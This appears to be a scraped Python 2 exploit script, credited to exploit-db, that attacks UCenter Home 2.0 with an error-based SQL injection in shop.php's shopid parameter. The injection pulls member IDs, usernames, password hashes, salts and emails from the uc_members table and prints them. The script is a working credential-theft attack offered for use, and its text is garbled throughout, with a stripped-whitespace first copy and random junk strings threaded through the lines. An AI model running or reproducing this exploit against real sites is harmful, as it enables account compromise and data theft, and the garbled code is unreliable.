#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl( _5 c; Z9 b3 V+ v1 q
3 {- Y) u4 a( I9 d
6 S% o( J$ t) [! t#!/usr/bin/env python
$ \2 c6 t% ?& u4 K0 j 4 ^3 V5 v' u L" S
import sys
?' K# [4 u% e: y( Cimport urllib2
! c. ?2 M, R% k& {) l* l3 t2 a `. nimport re 6 t. s W5 x1 y$ v( M( F5 F
1 Z$ A' \2 E* x" q5 |# w4 fdef info(): ( V+ I( K* Y# ]# f' R% |
print 'From:http://www.exploit-db.com/exploits/14997/' 0 q" c" o* D( Z/ N
print 'http://www.hake.cc/Web_loudong/' 5 c$ j) `7 i$ [8 n
print 'changed:qiaoy' $ Q4 {# R! }- F. L
print 'exp:'
: _! q6 K h' E' Z3 c print ' ./UCenter_Home_2.0.py site'
) M# p2 M D2 O! U, ^, j) P6 g ' Y' l4 q0 ]# j
def main(): % }$ K( |! s& M6 g' {3 \* `# S. N
if len(sys.argv) != 2: + H4 X( H2 `; T; G# j- H
info()
/ q5 S' B! k# ~$ J) q% I# l else: : y8 |3 Q% ~4 `0 M# Z
site = sys.argv[1]
0 e1 N& w! n+ e- Q) w if site[0:7] == 'http://': 8 L4 f9 Q& t n5 v7 `/ F3 [
sitesite =site
$ S- }* u/ [; L+ m+ R& Y& o elif site[0:8] == 'https://':
( b4 ~$ [, H- Y- T0 {/ f sitesite = site . @0 v# ~8 l9 |$ E2 Q
else: 3 R d2 F! z; {% w, }
site = 'http://'+site
3 Z. H u7 d7 `8 r( t try: / t1 i% h* r, J7 R$ v
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
% {; O1 ^, B3 e0 i( P9 x Value = urllib2.urlopen(url).read() # i8 R2 p% Y; W6 F( `
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
" f( O& h' A) q+ `/ F; H hacked = Msg.split(':')
3 g/ U+ V" H2 l, K# ?! I( D& @ print 'Name: '+hacked[1]
, N. Z- A3 a; f print 'Passwd: '+hacked[2]
/ i+ [" V# k K* y print 'salt: '+hacked[3]
* ]8 u$ _/ w7 ^7 c* s: D6 l' @7 T print 'email: '+hacked[4]
: ?- p0 [# v) ]8 E7 T7 Q except: ' j1 N" W2 F' `7 Q
print 'Sorry,I can\'t work............' 8 c) \# D2 r' d6 f
. ]# Z1 O% ~0 M
if __name__ == '__main__':
& `( h7 V- V. \' m2 R/ k" s+ j3 E) n main() |